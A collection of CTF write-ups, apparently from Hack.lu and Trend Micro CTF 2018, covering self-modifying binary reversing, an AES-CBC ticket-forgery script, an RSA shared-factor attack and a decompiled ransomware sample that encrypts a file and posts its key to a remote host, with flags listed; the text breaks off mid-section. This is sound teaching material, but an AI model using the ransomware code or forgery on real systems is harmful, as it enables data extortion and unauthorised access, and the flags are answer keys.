Program received signal SIGINT, Interrupt....Stopped reason: SIGINT0xf7fd8be9 in ?? ()gdb-peda$ info files...0x56557050 - 0x56557321 is .text...gdb-peda$ x/10i 0x56557050 0x56557050: xor ebp,ebp 0x56557052: pop esi 0x56557053: mov ecx,esp 0x56557055: and esp,0xfffffff0 0x56557058: push eax 0x56557059: push esp 0x5655705a: push edx 0x5655705b: call 0x56557082 0x56557060: add ebx,0x2fa0 0x56557066: lea eax,[ebx-0x2ce0]```
It appears that the contents of the `.text` has changed and it seems like the instructions are correct. You can analyze the whole assembly. For easiness, you can also take the bytes from correct `.text` and override the `.text` in the binary file so that they can be decompiled by IDA to pseudo-code. Here, we try to figure out what the program is doing by just looking at the assembly.
By looking at the contents of the stack when the original `__libc_start_main` is called, we can know that `main` is located in `.text+320` or `0x56557190` in the case above.
Here are the first few instructions in the `main` function.
```asm 0x56557190: push ebp 0x56557191: mov ebp,esp 0x56557193: push ebx 0x56557194: push edi 0x56557195: push esi 0x56557196: sub esp,0x2c 0x56557199: call 0x5655719e 0x5655719e: pop eax 0x5655719f: add eax,0x2e62 0x565571a5: mov ecx,DWORD PTR [ebp+0xc] 0x565571a8: mov edx,DWORD PTR [ebp+0x8] 0x565571ab: mov DWORD PTR [ebp-0x10],0x0 0x565571b2: cmp DWORD PTR [ebp+0x8],0x2 0x565571b6: mov DWORD PTR [ebp-0x28],eax 0x565571b9: mov DWORD PTR [ebp-0x2c],ecx 0x565571bc: mov DWORD PTR [ebp-0x30],edx 0x565571bf: je 0x565571d1 0x565571c5: mov DWORD PTR [ebp-0x10],0x1 0x565571cc: jmp 0x565572a8```
In the `cmp DWORD PTR [ebp + 0x8], 0x2` instruction, it will compare the contents of `[ebp+0x8]` where the number of arguments (argc) is located. So, the number of arguments must be two in order for the execution to go to `0x565571d1`. If not, the execution will continue to `0x565572a8` where the execution will go directly to `ret`.
The instructions after `0x565571d1` seem to be related to retrieving values in the argument, calling to `strlen`, and also checking the the argument. The following section looks interesting.
```asm 0x5655723f: movsx eax,BYTE PTR [ebp-0x21] 0x56557243: mov ecx,DWORD PTR [ebp-0x20] 0x56557246: mov esi,DWORD PTR [ebp-0x28] 0x56557249: movsx ecx,BYTE PTR [esi+ecx*1-0x1c0f] 0x56557251: mov edi,DWORD PTR [ebp-0x18] 0x56557254: mov ebx,DWORD PTR [ebp-0x20] 0x56557257: imul ebx,DWORD PTR [ebp-0x1c] 0x5655725b: add edi,ebx 0x5655725d: movsx edi,BYTE PTR [esi+edi*1-0x1ff8] 0x56557265: xor ecx,edi 0x56557267: cmp eax,ecx 0x56557269: jne 0x56557278```
When the program reaches `0x5655723f`, the value of `[ebp-0x21]` is the first letter of the argument and stored to `eax`. Then at the `0x56557267`, the value of `eax` is compared to `ecx` which is the value from a xor operation.
By setting the `breakpoint` in `0x56557267` (`cmp eax, ecx`), we can know the value of `ecx` when compared to the argument's characters. For reasons that we have not explored further, this `breakpoint` must be set while still in `__libc_start_main`. If it is set in the middle of execution on `.text`, there will be `SIGTRAP` continuously.
From observations on the value of `ecx` in `0x56557267` one by one, we get **flag {Just_type__Please__and_the_missles_will_be_launched.}**.
Execution with this flag as the argument will make the program exit with code 0.
```$ strace ./forgetful_commander flag{Just_type__Please__and_the_missles_will_be_launched.}...open("/proc/self/maps", O_RDONLY) = 3read(3, "56596000-56598000 r--p 00000000 "..., 16384) = 1594close(3) = 0exit_group(0) = ?+++ exited with 0 +++```
## Bahasa IndonesiaBinary yang diberikan adalah `elf32-i386`. Kami kesulitan untuk melakukan *static analysis* karena segmen `.text` tidak ter-*disassemble* dengan baik dan sepertinya bukan instruksi mesin yang akan dijalankan.
Kami memutuskan untuk mencoba melakukan *dynamic analysis*. Eksekusi pada binary tidak memperlihatkan perilaku yang jelas karena tidak ada interaksi apapun. Eksekusi menggunakan `strace` memperlihatkan bahwa program exit dengan kode 1.
```$ strace ./forgetful_commander...open("/proc/self/maps", O_RDONLY) = 3read(3, "5660d000-5660f000 r--p 00000000 "..., 16384) = 1528close(3) = 0exit_group(1) = ?+++ exited with 1 ++```
Binary dikompilasi sebagai PIE (Position-Independent Executables). Kami mencoba untuk menggunakan `gdb` dan mengatur `breakpoint` pada alamat `.text`. Instruksi pada `.text` terlihat random tetapi mari coba untuk mengeksekusinya.
```$ gdb ./forgetful_commander...gdb-peda$ b *0x0Breakpoint 1 at 0x0gdb-peda$ rStarting program: /vagrant/forgetful_commanderWarning:Cannot insert breakpoint 1.Cannot access memory at address 0x0
gdb-peda$ del 1gdb-peda$ info filesSymbols from "/vagrant/forgetful_commander".Native process: Using the running image of child process 28513. While running this, GDB does not access memory from...Local exec file: `/vagrant/forgetful_commander', file type elf32-i386.warning: Cannot find section for the entry point of /vagrant/forgetful_commander. Entry point: 0xd000 0x56556194 - 0x565561a7 is .interp 0x565561a8 - 0x565561c8 is .note.ABI-tag 0x565561c8 - 0x565561fc is .hash 0x565561fc - 0x5655621c is .gnu.hash 0x5655621c - 0x5655629c is .dynsym 0x5655629c - 0x56556339 is .dynstr 0x5655633a - 0x5655634a is .gnu.version 0x5655634c - 0x5655637c is .gnu.version_r 0x5655637c - 0x565563bc is .rel.dyn 0x565563bc - 0x565563cc is .rel.plt 0x56557000 - 0x56557020 is .init 0x56557020 - 0x56557050 is .plt 0x56557050 - 0x56557321 is .text 0x56557324 - 0x56557338 is .fini 0x56558000 - 0x5655842c is .rodata 0x5655842c - 0x56558450 is .eh_frame_hdr 0x56558450 - 0x565584f0 is .eh_frame 0x56559eec - 0x56559ef0 is .init_array 0x56559ef0 - 0x56559ef4 is .fini_array 0x56559ef4 - 0x56559fec is .dynamic 0x56559fec - 0x5655a000 is .got 0x5655a000 - 0x5655a014 is .got.plt 0x5655a014 - 0x5655a01c is .data 0x5655a01c - 0x5655a020 is .bssgdb-peda$ x/10i 0x56557050 0x56557050: cdq 0x56557051: addr16 int 0x30 0x56557054: movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 0x56557055: add bh,ah 0x56557057: add ebp,ebx 0x56557059: xchg ecx,eax 0x5655705a: into 0x5655705b: ins DWORD PTR es:[edi],dx 0x5655705c: xor al,0x2c 0x5655705e: daagdb-peda$ b *0x56557050Breakpoint 2 at 0x56557050gdb-peda$ cContinuing....Breakpoint 2, 0x56557050 in ?? ()gdb-peda$ s...gdb-peda$ s
Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0xf7ffd918 --> 0x56555000 --> 0x464c457fEBX: 0xf7ffd000 --> 0x23f3cECX: 0xffffd694 --> 0xffffd7c3 ("/vagrant/forgetful_commander")EDX: 0xffffffffESI: 0xffffd69c --> 0xffffd7de ("XDG_SESSION_ID=221")EDI: 0x56562000 --> 0x819c6050EBP: 0x0ESP: 0xffffd690 --> 0x1EIP: 0x56557051 --> 0xb4895eedEFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x56557046: push 0x8 0x5655704b: jmp 0x56557020 0x56557050: cdq=> 0x56557051: in eax,dx 0x56557052: pop esi 0x56557053: mov DWORD PTR [ebx+eax*4+0x5405f0e4],esi 0x5655705a: push edx 0x5655705b: call 0x565570d7[------------------------------------stack-------------------------------------]0000| 0xffffd690 --> 0x10004| 0xffffd694 --> 0xffffd7c3 ("/vagrant/forgetful_commander")0008| 0xffffd698 --> 0x00012| 0xffffd69c --> 0xffffd7de ("XDG_SESSION_ID=221")0016| 0xffffd6a0 --> 0xffffd7f1 ("SHELL=/bin/bash")0020| 0xffffd6a4 --> 0xffffd801 ("TERM=xterm-256color")0024| 0xffffd6a8 --> 0xffffd815 ("SSH_CLIENT=10.0.2.2 56511 22")0028| 0xffffd6ac --> 0xffffd832 ("SSH_TTY=/dev/pts/0")[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x56557051 in ?? ()```
Seperti yang dapat kita lihat, ini terlihat aneh karena eksekusi pada instruksi random tersebut tetap terjadi dan menghasilkan SIGSEGV. Sepertinya program melakukan *self-modifying* pada satu titik dengan suatu cara.
Dengan asumsi bahwa `__libc_start_main` suatu saat terpanggil, kami mencoba untuk melakukan *interrupt* pada saat `__libc_start_main` dipanggil dengan melakukan *hijack* pada fungsi tersebut menggunakan `LD_PRELOAD`. Dengan memberikan `SIGINT`, maka `gdb` akan menangkap `signal` tersebut dan kita dapat memeriksa `state` program pada saat itu.
Berikut adalah kode `hijack.c`.
```C#define _GNU_SOURCE
#include <dlfcn.h>#include <signal.h>
int __libc_start_main(int (*main) (int,char **,char **), int argc, char **ubp_av, void (*init) (void), void (*fini)(void), void (*rtld_fini)(void), void (*stack_end)) {
int (*original__libc_start_main)(int (*main) (int,char **,char **), int argc, char **ubp_av, void (*init) (void), void (*fini)(void), void (*rtld_fini)(void), void (*stack_end));
raise(SIGINT);
original__libc_start_main = dlsym(RTLD_NEXT, "__libc_start_main"); return original__libc_start_main(main, argc,ubp_av, init, fini, rtld_fini, stack_end);}```
Kompilasi kode menjadi `hijack.so` (32 bit).
```gcc --shared -fPIC hijack.c -o hijack.so -ldl -m32```
Gunakan `library` tersebut pada `gdb` dan jalankan.
```$ gdb --args env LD_PRELOAD=/vagrant/hijack.so ./forgetful_commander...gdb-peda$ rStarting program: /usr/bin/env LD_PRELOAD=/vagrant/hijack.so ./forgetful_commanderprocess 28754 is executing new program: /vagrant/forgetful_commander
Program received signal SIGINT, Interrupt....Stopped reason: SIGINT0xf7fd8be9 in ?? ()gdb-peda$ info files...0x56557050 - 0x56557321 is .text...gdb-peda$ x/10i 0x56557050 0x56557050: xor ebp,ebp 0x56557052: pop esi 0x56557053: mov ecx,esp 0x56557055: and esp,0xfffffff0 0x56557058: push eax 0x56557059: push esp 0x5655705a: push edx 0x5655705b: call 0x56557082 0x56557060: add ebx,0x2fa0 0x56557066: lea eax,[ebx-0x2ce0]```
Terlihat bahwa isi `.text` sudah berubah dan sepertinya instruksi yang benar. Anda dapat menganalis assembly-nya secara keseluruhan. Untuk mempermudah, Anda juga dapat mengambil nilai bytes dari `.text` yang sudah berubah dan menimpanya pada `.text` pada berkas binary sehingga dapat didekompilasi oleh IDA menjadi pseudo-code. Di sini, kami mencoba untuk mengira-ngira apa yang dilakukan oleh program dengan melihat assembly-nya saja.
Dengan melihat isi `stack` (parameter) pada saat `__libc_start_main` yang asli akan dipanggil, kita dapat mengetahui bahwa `main` terdapat pada alamat `.text+320` atau `0x56557190` pada kasus di atas.
Berikut beberapa instruksi pertama pada fungsi `main`.
```asm 0x56557190: push ebp 0x56557191: mov ebp,esp 0x56557193: push ebx 0x56557194: push edi 0x56557195: push esi 0x56557196: sub esp,0x2c 0x56557199: call 0x5655719e 0x5655719e: pop eax 0x5655719f: add eax,0x2e62 0x565571a5: mov ecx,DWORD PTR [ebp+0xc] 0x565571a8: mov edx,DWORD PTR [ebp+0x8] 0x565571ab: mov DWORD PTR [ebp-0x10],0x0 0x565571b2: cmp DWORD PTR [ebp+0x8],0x2 0x565571b6: mov DWORD PTR [ebp-0x28],eax 0x565571b9: mov DWORD PTR [ebp-0x2c],ecx 0x565571bc: mov DWORD PTR [ebp-0x30],edx 0x565571bf: je 0x565571d1 0x565571c5: mov DWORD PTR [ebp-0x10],0x1 0x565571cc: jmp 0x565572a8```
Instruksi `cmp DWORD PTR [ebp+0x8],0x2` akan membandingkan isi dari `[ebp+0x8]` di mana pada alamat tersebut tersimpan jumlah dari argumen (argc). Sehingga, jumlah argumen harus berjumlah dua agar program lanjut ke `0x565571d1`. Jika tidak, program akan lanjut ke `0x565572a8` yang mana program akan langsung menuju `ret`.
Instruksi-instruksi setelah `0x565571d1` sepertinya terkait dengan pengambilan nilai pada argumen, pemanggilan ke `strlen`, dan juga memeriksa isi argumen. Bagian pemeriksaan berikut terlihat menarik.
```asm 0x5655723f: movsx eax,BYTE PTR [ebp-0x21] 0x56557243: mov ecx,DWORD PTR [ebp-0x20] 0x56557246: mov esi,DWORD PTR [ebp-0x28] 0x56557249: movsx ecx,BYTE PTR [esi+ecx*1-0x1c0f] 0x56557251: mov edi,DWORD PTR [ebp-0x18] 0x56557254: mov ebx,DWORD PTR [ebp-0x20] 0x56557257: imul ebx,DWORD PTR [ebp-0x1c] 0x5655725b: add edi,ebx 0x5655725d: movsx edi,BYTE PTR [esi+edi*1-0x1ff8] 0x56557265: xor ecx,edi 0x56557267: cmp eax,ecx 0x56557269: jne 0x56557278```
Pada saat program mencapai `0x5655723f`, isi dari `[ebp-0x21]` adalah huruf pertama dari argumen dan disimpan ke `eax`. Kemudian pada alamat `0x56557267`, isi dari `eax` dibandingkan dengan `ecx` yang merupakan suatu nilai dari operasi xor.
Dengan mengatur `breakpoint` pada `0x56557267` pada instruksi `cmp eax,ecx`, kita dapat mengetahui nilai `ecx` yang dibandingkan dengan argumen karakter demi karakter. Karena alasan yang belum kami eksplorasi lebih lanjut, pemasangan `breakpoint` ini harus dilakukan ketika masih di `__libc_start_main`. Jika dilakukan di tengah-tengah eksekusi pada `.text`, terjadi `SIGTRAP` terus menerus.
Dari observasi pada nilai `ecx` pada `0x56557267` satu persatu, didapatkan **flag{Just_type__Please__and_the_missles_will_be_launched.}**.
Eksekusi dengan flag tersebut sebagai argumen akan membuat program exit dengan kode 0.
```$ strace ./forgetful_commander flag{Just_type__Please__and_the_missles_will_be_launched.}...open("/proc/self/maps", O_RDONLY) = 3read(3, "56596000-56598000 r--p 00000000 "..., 16384) = 1594close(3) = 0exit_group(0) = ?+++ exited with 0 +++``` |
[https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/Hack.lu%20CTF%202018/Heap%20Hell/exploit.py](https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/Hack.lu%20CTF%202018/Heap%20Hell/exploit.py) |
# Trend Micro CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180914-trendmicroctf/) of this writeup.**
- [Trend Micro CTF 2018](#trend-micro-ctf-2018) - [Analysis-Offensive](#analysis-offensive) - [200](#200) - [300](#300) - [400 ACME Protocol](#400-acme-protocol) - [Reversing-Binary](#reversing-binary) - [100 (sces60107)](#100-sces60107) - [300](#300-1) - [400](#400) - [part 2](#part-2) - [Forensics-Crypto1](#forensics-crypto1) - [400](#400-1) - [Forensics-Crypto2](#forensics-crypto2) - [100 (sces60107)](#100-sces60107-1) - [200 (sces60107)](#200-sces60107) - [300](#300-2) - [Reversing-Other](#reversing-other) - [100, 200 (sces60107)](#100-200-sces60107) - [400 (sces60107)](#400-sces60107) - [Misc](#misc) - [100](#100) - [200](#200-1) - [300](#300-3)
## Analysis-Offensive
### 200
We are given a program `oracle` which reads our input. If our input matches the flag, it outputs `True`, otherwise, `False`.
According to the hints from the description, (1) The program exits as fast as possible. (2) This is not a reverse challenge.
So, let's take a look at the system calls it uses:```shell$ strace ./oracle TMCTF{execve("./oracle", ["./oracle", "TMCTF{"], [/* 23 vars */]) = 0brk(NULL) = 0x146d000brk(0x146e1c0) = 0x146e1c0arch_prctl(ARCH_SET_FS, 0x146d880) = 0uname({sysname="Linux", nodename="ubuntu-xenial", ...}) = 0readlink("/proc/self/exe", "/home/vagrant/trend/analysis-200"..., 4096) = 39brk(0x148f1c0) = 0x148f1c0brk(0x1490000) = 0x1490000access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0write(1, "False\n", 6False) = 6exit_group(0) = ?+++ exited with 0 +++```Nice, it sleeps six times when the first six characters are correct. Here is our script:
```pythonimport subprocessimport string
flag = 'TMCTF{'while True: for c in string.ascii_letters + string.digits + '{}_': batcmd = '/usr/bin/strace ./oracle "{}" 2>&1'.format(flag + c) result = subprocess.check_output(batcmd, shell=True) if result.count('nano') == len(flag) + 1: flag += c break print(flag)```FLAG: `TMCTF{WatchTh3T1m3}`
### 300We are given three people's public keys and the messages for them respectively. For example,```message for Alice:18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422
Alice's public key (e,N):( 65537 , 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347 )```It turns out that any two of the module `N`s has a common factor, thus they all can be factorized.```pythonfrom gmpy2 import *
...
g_ab = gcd(a_N, b_N)g_bc = gcd(b_N, c_N)
def decrypt(msg, p, q, N): phi_n = (p-1)*(q-1) d = invert(65537, phi_n) msg = pow(msg, d, N) print(int2text(msg))
decrypt(a_msg, g_ab, a_N/g_ab, a_N)decrypt(b_msg, g_ab, b_N/g_ab, b_N)decrypt(c_msg, g_bc, c_N/g_bc, c_N)```Hmm... is it worth 300 points?FLAG: `TMCTF{B3Car3fu11Ab0utTh3K3ys}`
### 400 ACME Protocol
We are given a protocol and some reference implementation in Python. The author of this challenge is so kind. Even a protocol spec is given! so let's take a closer look at the protocol to find the vulnerability.
First, our objective is obvious: run `getflag` as `admin`
```4.6 COMMAND (Message Type 0x06)
Message Format: Client -> Server: 0x06 | Ticket | Command
Explanation: Client requests execution of the command specified by the string Command. Ticket must be a valid, current ticket received via a LOGON_SUCCESS message.
Processing: The server executes the following algorithm upon receipt:
Set D = Decrypt(Base64Decode(Ticket), KS)Scan D sequentially as follows:Set IdentityFromTicket = JSON string (UTF-8, null-terminated)Set Timestamp = 8 bytesIf Timestamp is too old (> 1 hour): Respond with message AUTHX_FAILURE EndSet U to the string IdentityFromTicket.userIterate over IdentityFromTicket.groups, collecting the results into an array of strings, GSet Identity = object expressing U and GIf Command = “whoami”: Set Result = JSON string: { user: Identity.U, groups: [ G1, G2, ... ] } where G1, G2, ... are the elements of Identity.GElse If Command = “getflag”: If G contains the string “admin”: Set Result = CTF flag Else: Respond with message AUTHX_FAILURE EndElse: Respond with message AUTHX_FAILURE EndRespond with message COMMAND_RESULT(Result)```
Okay, the next problem is how to generate a valid `IdentityFromTicket`, which is a JSON string encrypted by KS (server key)? What we want to do is to send `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. Note that in this challenge we don't even have a valid guest account to login.
Of course we don't have the server key, but can we abuse other command to manipulate the payload? Let's take a look at LOGON_REQUEST:
```4.1 LOGON_REQUEST (Message Type 0x01)
Message format: Client -> Server: 0x01 | U
Explanation: The client sends this message to the server to initiate authentication with username U.
Processing: The server executes the following algorithm upon receipt:
Set Nonce = 8-byte random nonceSet Timestamp = current timestampSet ChallengeCookie = Base64Encode(Encrypt(Nonce | U | Timestamp, KS))Respond with message LOGON_CHALLENGE(Nonce, ChallengeCookie)```
Basically the server will encrypt user-provided U (username), and we'll get the ciphertext of `Encrypt(Nonce | U | Timestamp)`.
It's apparent that `Encrypt(Nonce | U | Timestamp)` is similar to what we need, `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. However, how to get rid of the nonce?
Since the encryption uses AES-128-CBC, it's feasible to truncate the nonce!
The idea is simple: we'll let the server encrypt the following payload:
```block 0: 8-byte nonce + 8-byte garbageblock 1,2,3: 16 * 3 bytes JSON stringblock 4: 8-byte timestamp + 8-byte PKCS#7 padding```
and we'll truncate the first block.
Here is the attack script:
```python#!/usr/bin/env python3import socketimport timeimport numpy as npimport jsonimport base64
def send(s): sock.send(s) print(f'[<-send] {s}')
def recv(): s = sock.recv(2**14) print(f'[recv->] {repr(s)}') return s
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("localhost", 9999))
payload = '{"user":"admin","groups":["admin", "aaaaaaaaa"]}'assert len(payload) == 16 * 3send(b'\x01garbage!' + payload.encode() + b'\x00')# 0x02 | 8 byte Nonce | ChallengeCookie (null byte terminated)enc = base64.b64decode(recv()[1+8:-1])# enc: 6 blocks: iv | (8 byte Nonce | 8 byte garbage!) | 48 bytes payload | Timestampassert len(enc) == 16 * 6
#0x06 | Ticket | Commandsend(b'\x06' + base64.b64encode(enc[16:]) + b'\x00' + b'getflag\x00')print(recv())# TMCTF{90F41EF71ED5}sock.close()```
I guess some teams retrieve the flag using reverse skills, though the author claimed it's heavily obfuscated.
In real world, there are lots of protocols and it's really important to ensure every step is secure. IMO this challenge is well-designed and very interesting! I really enjoyed it. Thanks to the author for such a practical challenge.
## Reversing-Binary
### 100 (sces60107)
1. Use PyInstaller Extractor v1.9 and uncompyle22. Now we have this source code```python=import struct, os, time, threading, urllib, requests, ctypes, base64from Cryptodome.Random import randomfrom Cryptodome.Cipher import AES, ARC4from Cryptodome.Hash import SHAinfile = 'EncryptMe1234.txt'encfile = 'EncryptMe1234.txt.CRYPTED'keyfile = 'keyfile'sz = 1024bs = 16passw = 'secretpassword'URL = 'http://192.168.107.14'rkey = 'secretkey'key = os.urandom(bs)iv = os.urandom(bs)
def callbk(): global rkey global passw global iv global key id = 0 n = 0 while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex') Headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'} params = urllib.urlencode({'id': id, 'key': key, 'iv': iv}) rnum = os.urandom(bs) khash = SHA.new(rnum).digest() cipher1 = ARC4.new(khash) khash = khash.encode('hex') msg = cipher1.encrypt(params) msg = base64.b64encode(khash + msg.encode('hex')) response = requests.post(url=URL, data=msg, headers=Headers) del key del iv ctypes.windll.user32.MessageBoxA(0, 'Your file "EncryptMe1234.txt" has been encrypted. Obtain your "keyfile" to decrypt your file.', 'File(s) Encrypted!!!', 1)
def encrypt(): global encfile global infile aes = AES.new(key, AES.MODE_CBC, iv) if os.path.exists(infile): fin = open(infile, 'r') fout = open(encfile, 'w') fsz = os.path.getsize(infile) fout.write(struct.pack('<H', fsz)) while True: data = fin.read(sz) n = len(data) if n == 0: break elif n % bs != 0: data += '0' * (bs - n % bs) crypt = aes.encrypt(data) fout.write(crypt)
fin.close() fout.close() os.remove(infile) callbk() else: return
def decrypt(): global keyfile key = '' iv = '' if not os.path.exists(encfile): exit(0) while True: time.sleep(10) if os.path.exists(keyfile): keyin = open(keyfile, 'rb') key = keyin.read(bs) iv = keyin.read(bs) if len(key) != 0 and len(iv) != 0: aes = AES.new(key, AES.MODE_CBC, iv) fin = open(encfile, 'r') fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0] fout = open(infile, 'w') fin.seek(2, 0) while True: data = fin.read(sz) n = len(data) if n == 0: break decrypted = aes.decrypt(data) n = len(decrypted) if fsz > n: fout.write(decrypted) else: fout.write(decrypted[:fsz]) fsz -= n
fin.close() os.remove(encfile) break
def main(): encrypt() t2 = threading.Thread(target=decrypt, args=()) t2.start() t2.join()
if __name__ == '__main__': main()```3. Extract information from filecrypt.pcap and decrypt the message then get this string `id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390`4. But these are not the original key and the original iv. Take a look of this part of code, then you can recover the original key and the original iv```python while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex')```5. The original key = `"ce66e0fe4c272316d680f66797c057e7".decode("hex")`6. The original iv = `"745def348b5106d157ad2f70281f7271".decode("hex")`7. Now you know how to retrieve the flag `TMCTF{MJB1200}`
### 300 The PE file has been `MEW` packed, we can using ollydbg to unpack it. And it also has anti debugger detection, but we can easily using static analysis to find the flag.
### 400#### part 2Using state compression to boost the speed of searching.```C++#pragma GCC optimize ("O3")#include<bits/stdc++.h>#pragma GCC optimize ("O3")#define f first#define s secondusing namespace std;typedef pair<int,int> par;unsigned char op[62];int cnt=0;inline unsigned char tohex(int x){ if(x>9)return x-10+'a'; return x+'0';}char s[100];unsigned int chash(){ unsigned long long int a = 0; for(int i=0;i<62;i++){ a = ( tohex((op[i]>>4&0xF)) + (a >> 13 | a << 19)) & 0xffffffffll; a = ( tohex(op[i]&0xF) + (a >> 13 | a << 19)) & 0xffffffffll; } return a;}void F(int p,int mask,bool boat){ if(p==62&&mask==0xFF){ cnt++; unsigned int hsh=chash(); if( hsh==0xE67FE7B8|| hsh==0xE27FEBB8|| hsh==0xE66FE7C8|| hsh==0xE26FEBC8|| hsh==0xF276F3DC|| hsh==0xE27703DC|| hsh==0xF272F3E0|| hsh==0xE27303E0 ){ fprintf(stderr,"%d %08x ",cnt,hsh); for(int i=0;i<62;i++) fprintf(stderr,"%02x",op[i]); fprintf(stderr,"\n"); } //puts("~~~"); return; } if(p+4<=62){ op[p]=0xd1; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xFF,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } else{ op[p+1]=0x0; for(int x=mask,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } } if(p+3<=62){ op[p]=0xd0; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+3,nmk,boat^1); } } else{ op[p+1]=0x0; for(int x=mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+3,mask^y,boat^1); } } } return;}int main(){ F(0,0,0);}```And you would get the output in about 15 seconds on Intel 8650U.```45721 e27303e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801045724 f272f3e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801059555 e27703dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801059558 f276f3dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801072019 e26febc8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801072022 e66fe7c8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d101801085399 e27febb8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801085402 e67fe7b8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010```Send the instructions into the problem program.And you would get the flag:`TMCTF{v1rtu4l_r1v3r5_n_fl4g5}`By the way, there are 1348396 solutions of this problem.## Forensics-Crypto1
### 400We are given a pair of plaintext and ciphertext, also, an encrypted secret text. In this challenge, Feistel cipher is used in encryption. The round function is choosen to be `xor`, while the number of rounds of encryption is unknown. Our goal is to decrypt the secret text.
Let's first write down the results after every round of encryption. Let `L`, `R` be the first and last half of the plaintext, we simply ignore the difference of the keys and denote the xor sum of them as `K`. (But remember that they are not actually the same.) Note that the operation `+` means `xor`.```Round 0: L, RRound 1: R, L+R+KRound 2: L+R+K, L+KRound 3: L+K, R+KRound 4: R+K, L+R+K... repeat```We could find a regular pattern of the results, it repeats every three rounds. Though we do not know the actual number of rounds of encryption, but there are only three possiblities to try. Here is our script for decryption:
